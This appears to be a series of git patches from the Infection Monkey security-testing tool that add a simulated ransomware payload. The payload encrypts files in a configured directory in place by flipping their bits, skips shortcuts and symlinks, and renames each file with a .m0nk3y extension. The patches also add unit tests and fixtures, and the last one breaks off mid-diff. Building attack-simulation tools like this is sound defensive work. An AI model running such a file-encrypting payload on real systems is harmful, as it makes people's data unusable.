From 3edaffa9228426f04e21b427026213fddcfa68ed Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 10:47:29 -0400 Subject: [PATCH 01/22] agent: Add utility functions for flipping bits --- .../utils/bit_manipulators.py | 11 +++++++ .../utils/test_bit_manipulators.py | 29 +++++++++++++++++++ 2 files changed, 40 insertions(+) create mode 100644 monkey/infection_monkey/utils/bit_manipulators.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py new file mode 100644 index 000000000..8e87e6768 --- /dev/null +++ b/monkey/infection_monkey/utils/bit_manipulators.py @@ -0,0 +1,11 @@ +def flip_bits(data: bytes) -> bytes: + flipped_bits = bytearray(len(data)) + + for i, byte in enumerate(data): + flipped_bits[i] = flip_bits_in_single_byte(byte) + + return bytes(flipped_bits) + + +def flip_bits_in_single_byte(byte) -> int: + return 255 ^ byte diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py new file mode 100644 index 000000000..0b866f634 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py @@ -0,0 +1,29 @@ +from infection_monkey.utils import bit_manipulators + + +def test_flip_bits_in_single_byte(): + for i in range(0, 256): + assert bit_manipulators.flip_bits_in_single_byte(i) == (255 - i) + + +def test_flip_bits(): + test_input = bytes(b"ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()") + expected_output = ( + b"\xbe\xbd\xbc\xbb\xba\xb9\xb8\xb7\xb6\xb5\xb1\xb3\xb2\xb1\xb0\xaf\xae\xad" + b"\xac\xab\xaa\xa9\xa8\xa7\xa6\xa5\x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95" + b"\x91\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\xce\xcd" + b"\xcc\xcb\xca\xc9\xc8\xc7\xc6\xcf\xde\xbf\xdc\xdb\xda\xa1\xd9\xd5\xd7\xd6" + ) + + assert bit_manipulators.flip_bits(test_input) == expected_output + + +def test_flip_bits__reversible(): + test_input = bytes( + b"ABCDEFGHIJNLM\xffNOPQRSTUVWXYZabcde\xf5fghijnlmnopqr\xC3stuvwxyz1\x87234567890!@#$%^&*()" + ) + + test_output = bit_manipulators.flip_bits(test_input) + test_output = bit_manipulators.flip_bits(test_output) + + assert test_input == test_output From 1ff348d2fc9a09e7c04ee18dde10d5d49dfbd8e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 20:02:38 -0400 Subject: [PATCH 02/22] agent: Add in-place, bitflip encryption to RansomwarePayload --- .../ransomware/ransomware_payload.py | 21 +++- .../ransomware_targets/all_zeros.pdf | Bin 0 -> 201 bytes .../ransomware_targets/shortcut.lnk | 1 + .../ransomware_targets/subdir/hello.txt | 1 + .../ransomware_targets/test_keyboard.txt | 2 + .../ransomware/test_ransomware_payload.py | 114 ++++++++++++++++++ 6 files changed, 135 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf create mode 100644 monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk create mode 100644 monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt create mode 100644 monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f58a9c397..6e5b99067 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,6 +2,7 @@ import logging from pathlib import Path from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.utils import bit_manipulators from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -13,6 +14,8 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) +CHUNK_SIZE = 64 + class RansomewarePayload: def __init__(self, config: dict): @@ -36,8 +39,18 @@ class RansomewarePayload: return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): - for file in file_list: - self._encrypt_file(file) + for filepath in file_list: + self._encrypt_file(filepath) - def _encrypt_file(self, file): - pass + def _encrypt_file(self, filepath): + with open(filepath, "rb+") as f: + data = f.read(CHUNK_SIZE) + while data: + num_bytes_read = len(data) + + encrypted_data = bit_manipulators.flip_bits(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(CHUNK_SIZE) diff --git a/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf new file mode 100644 index 0000000000000000000000000000000000000000..1716e6bfba58ee2d47221fc69f86c27aa81dbdd8 GIT binary patch literal 201 LcmZQz7$yJ!0LcIW literal 0 HcmV?d00001 diff --git a/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk new file mode 100644 index 000000000..be9fbc9d7 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk @@ -0,0 +1 @@ +This is a shortcut. diff --git a/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt new file mode 100644 index 000000000..cd0875583 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt @@ -0,0 +1 @@ +Hello world! diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt new file mode 100644 index 000000000..25008a376 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt @@ -0,0 +1,2 @@ +ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*() +The quick brown fox jumps over the lazy dog. diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py new file mode 100644 index 000000000..2a066fbb9 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -0,0 +1,114 @@ +import hashlib +import os +import shutil +from pathlib import Path + +import pytest +from tests.utils import is_user_admin + +from infection_monkey.ransomware.ransomware_payload import RansomewarePayload + +SUBDIR = "subdir" +ALL_ZEROS_PDF = "all_zeros.pdf" +HELLO_TXT = "hello.txt" +SHORTCUT_LNK = "shortcut.lnk" +TEST_KEYBOARD_TXT = "test_keyboard.txt" +TEST_LIB_DLL = "test_lib.dll" + +ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" +SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" +TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( + "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" +) +TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" + +ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" +TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( + "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" +) + + +def hash_file(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() + + +@pytest.fixture +def ransomware_target(tmp_path, data_for_tests_dir): + ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" + shutil.copytree(ransomware_target_data, tmp_path, dirs_exist_ok=True) + + return tmp_path + + +@pytest.fixture +def ransomware_payload_config(ransomware_target): + return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} + + +@pytest.fixture +def ransomware_payload(ransomware_payload_config): + return RansomewarePayload(ransomware_payload_config) + + +def test_file_with_excluded_extension_not_encrypted(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 + + +def test_shortcut_not_encrypted(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_symlink_not_encrypted(tmp_path, ransomware_payload): + SYMLINK = "symlink.pdf" + link_path = tmp_path / SYMLINK + link_path.symlink_to(tmp_path / TEST_LIB_DLL) + + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 + + +def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): + assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + ransomware_payload.run_payload() + + assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + +def test_file_encrypted_in_place(tmp_path, ransomware_payload): + expected_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino + expected_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + + ransomware_payload.run_payload() + + actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino + actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + + assert expected_all_zeros_inode == actual_all_zeros_inode + assert expected_test_keyboard_inode == actual_test_keyboard_inode + + +def test_encryption_reversible(tmp_path, ransomware_payload): + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + ransomware_payload.run_payload() + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + ransomware_payload.run_payload() + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From 2dd75d7d0c41526eefc4ab02f4480a7f0d2db1f0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:42:23 -0400 Subject: [PATCH 03/22] agent: Rename files encrypted by ransomware with .m0nk3y extension --- .../ransomware/ransomware_payload.py | 10 ++++- .../already_encrypted.txt.m0nk3y | 1 + .../ransomware/test_ransomware_payload.py | 43 ++++++++++++++++--- 3 files changed, 46 insertions(+), 8 deletions(-) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 6e5b99067..ca48e0b3e 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -15,6 +15,7 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) CHUNK_SIZE = 64 +EXTENSION = ".m0nk3y" class RansomewarePayload: @@ -23,6 +24,8 @@ class RansomewarePayload: LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() + self._valid_file_extensions_for_encryption.discard(EXTENSION) def run_payload(self): file_list = self._find_files() @@ -30,7 +33,7 @@ class RansomewarePayload: def _find_files(self): file_filters = [ - file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION), + file_extension_filter(self._valid_file_extensions_for_encryption), is_not_shortcut_filter, is_not_symlink_filter, ] @@ -41,6 +44,7 @@ class RansomewarePayload: def _encrypt_files(self, file_list): for filepath in file_list: self._encrypt_file(filepath) + self._add_extension(filepath) def _encrypt_file(self, filepath): with open(filepath, "rb+") as f: @@ -54,3 +58,7 @@ class RansomewarePayload: f.write(encrypted_data) data = f.read(CHUNK_SIZE) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") + filepath.rename(new_filepath) diff --git a/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y new file mode 100644 index 000000000..70a0a237a --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y @@ -0,0 +1 @@ +Monkey see, Monkey do. diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2a066fbb9..e7dbe8964 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -8,14 +8,20 @@ from tests.utils import is_user_admin from infection_monkey.ransomware.ransomware_payload import RansomewarePayload +EXTENSION = ".m0nk3y" + SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" +ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" HELLO_TXT = "hello.txt" SHORTCUT_LNK = "shortcut.lnk" TEST_KEYBOARD_TXT = "test_keyboard.txt" TEST_LIB_DLL = "test_lib.dll" ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( + "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" +) HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( @@ -38,6 +44,10 @@ def hash_file(filepath: Path): return sha256.hexdigest() +def with_extension(filename): + return f"{filename}{EXTENSION}" + + @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" @@ -87,8 +97,11 @@ def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + ) def test_file_encrypted_in_place(tmp_path, ransomware_payload): @@ -97,18 +110,34 @@ def test_file_encrypted_in_place(tmp_path, ransomware_payload): ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino - actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino + actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode def test_encryption_reversible(tmp_path, ransomware_payload): - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + orig_path = tmp_path / TEST_KEYBOARD_TXT + new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT) + assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + new_path.rename(orig_path) ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + ) + + +def test_skip_already_encrypted_file(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() + assert ( + hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y) + == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 + ) From cef3bd618d49deda9c8f19f1f54a8a4441cb9bc8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:44:24 -0400 Subject: [PATCH 04/22] agent: Test that ransomware payload does not encrypt recursively --- .../infection_monkey/ransomware/test_ransomware_payload.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index e7dbe8964..4cc3e8c96 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -91,6 +91,12 @@ def test_symlink_not_encrypted(tmp_path, ransomware_payload): assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 +def test_encryption_not_recursive(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 + + def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From 447138c07971b8aae6257212ca2107ff3c503817 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:52:18 -0400 Subject: [PATCH 05/22] agent: Rename RansomewarePayload.target_dir -> _target_dir --- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ca48e0b3e..ce18476ed 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -23,7 +23,7 @@ class RansomewarePayload: LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}") LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") - self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) @@ -38,7 +38,7 @@ class RansomewarePayload: is_not_symlink_filter, ] - all_files = get_all_regular_files_in_directory(self.target_dir) + all_files = get_all_regular_files_in_directory(self._target_dir) return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): From 297adcf015d4a04fcd4fa51cc5f6196558eb7c2c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 07:10:55 -0400 Subject: [PATCH 06/22] agent: Don't redefine EXTENSION in ransomware tests --- .../infection_monkey/ransomware/test_ransomware_payload.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 4cc3e8c96..9108bace5 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -6,9 +6,7 @@ from pathlib import Path import pytest from tests.utils import is_user_admin -from infection_monkey.ransomware.ransomware_payload import RansomewarePayload - -EXTENSION = ".m0nk3y" +from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" From 630760601089a5960b56ed5ef44a0a28f7c09b39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 07:14:57 -0400 Subject: [PATCH 07/22] Remove get_files_to_encrypt from Vulture's allow list --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 304ff6f12..2c937ee4f 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,7 +171,6 @@ ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 -get_files_to_encrypt # monkey/infection_monkey/ransomware/utils.py:82 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 7149e112b05623d1a0d51791c7f2b4de562ba162 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:14:34 -0400 Subject: [PATCH 08/22] agent: Remove dirs_exist_ok from shutil.copytree() call The dirs_exist_ok parameter of shutil.copytree() was introduced in Python 3.8. Since the agent uses python3.7 in order to be more compatible with older systems, we can't use this parameter. --- .../ransomware/test_ransomware_payload.py | 66 ++++++++++--------- 1 file changed, 36 insertions(+), 30 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 9108bace5..263de0dd3 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -48,10 +48,11 @@ def with_extension(filename): @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" - shutil.copytree(ransomware_target_data, tmp_path, dirs_exist_ok=True) + ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" + ransomware_target = tmp_path / "ransomware_target" + shutil.copytree(ransomware_test_data, ransomware_target) - return tmp_path + return ransomware_target @pytest.fixture @@ -64,66 +65,71 @@ def ransomware_payload(ransomware_payload_config): return RansomewarePayload(ransomware_payload_config) -def test_file_with_excluded_extension_not_encrypted(tmp_path, ransomware_payload): +def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 -def test_shortcut_not_encrypted(tmp_path, ransomware_payload): +def test_shortcut_not_encrypted(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 @pytest.mark.skipif( os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" ) -def test_symlink_not_encrypted(tmp_path, ransomware_payload): +def test_symlink_not_encrypted(ransomware_target, ransomware_payload): SYMLINK = "symlink.pdf" - link_path = tmp_path / SYMLINK - link_path.symlink_to(tmp_path / TEST_LIB_DLL) + link_path = ransomware_target / SYMLINK + link_path.symlink_to(ransomware_target / TEST_LIB_DLL) ransomware_payload.run_payload() - assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 -def test_encryption_not_recursive(tmp_path, ransomware_payload): +def test_encryption_not_recursive(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 -def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): - assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 +def test_file_with_included_extension_encrypted(ransomware_target, ransomware_payload): + assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() - assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 assert ( - hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) + == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + ) + assert ( + hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 ) -def test_file_encrypted_in_place(tmp_path, ransomware_payload): - expected_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino - expected_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino +def test_file_encrypted_in_place(ransomware_target, ransomware_payload): + expected_all_zeros_inode = os.stat(ransomware_target / ALL_ZEROS_PDF).st_ino + expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino - actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino + actual_all_zeros_inode = os.stat(ransomware_target / with_extension(ALL_ZEROS_PDF)).st_ino + actual_test_keyboard_inode = os.stat( + ransomware_target / with_extension(TEST_KEYBOARD_TXT) + ).st_ino assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode -def test_encryption_reversible(tmp_path, ransomware_payload): - orig_path = tmp_path / TEST_KEYBOARD_TXT - new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT) +def test_encryption_reversible(ransomware_target, ransomware_payload): + orig_path = ransomware_target / TEST_KEYBOARD_TXT + new_path = ransomware_target / with_extension(TEST_KEYBOARD_TXT) assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() @@ -132,16 +138,16 @@ def test_encryption_reversible(tmp_path, ransomware_payload): new_path.rename(orig_path) ransomware_payload.run_payload() assert ( - hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ) -def test_skip_already_encrypted_file(tmp_path, ransomware_payload): +def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() + assert not (ransomware_target / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() assert ( - hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y) + hash_file(ransomware_target / ALREADY_ENCRYPTED_TXT_M0NK3Y) == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 ) From 2c97d046734aa958642d19430eaaa92c43d54d31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:34:09 -0400 Subject: [PATCH 09/22] Agent: Don't run ransomware payload if no directory was specified --- .../infection_monkey/ransomware/ransomware_payload.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ce18476ed..49478974b 100644 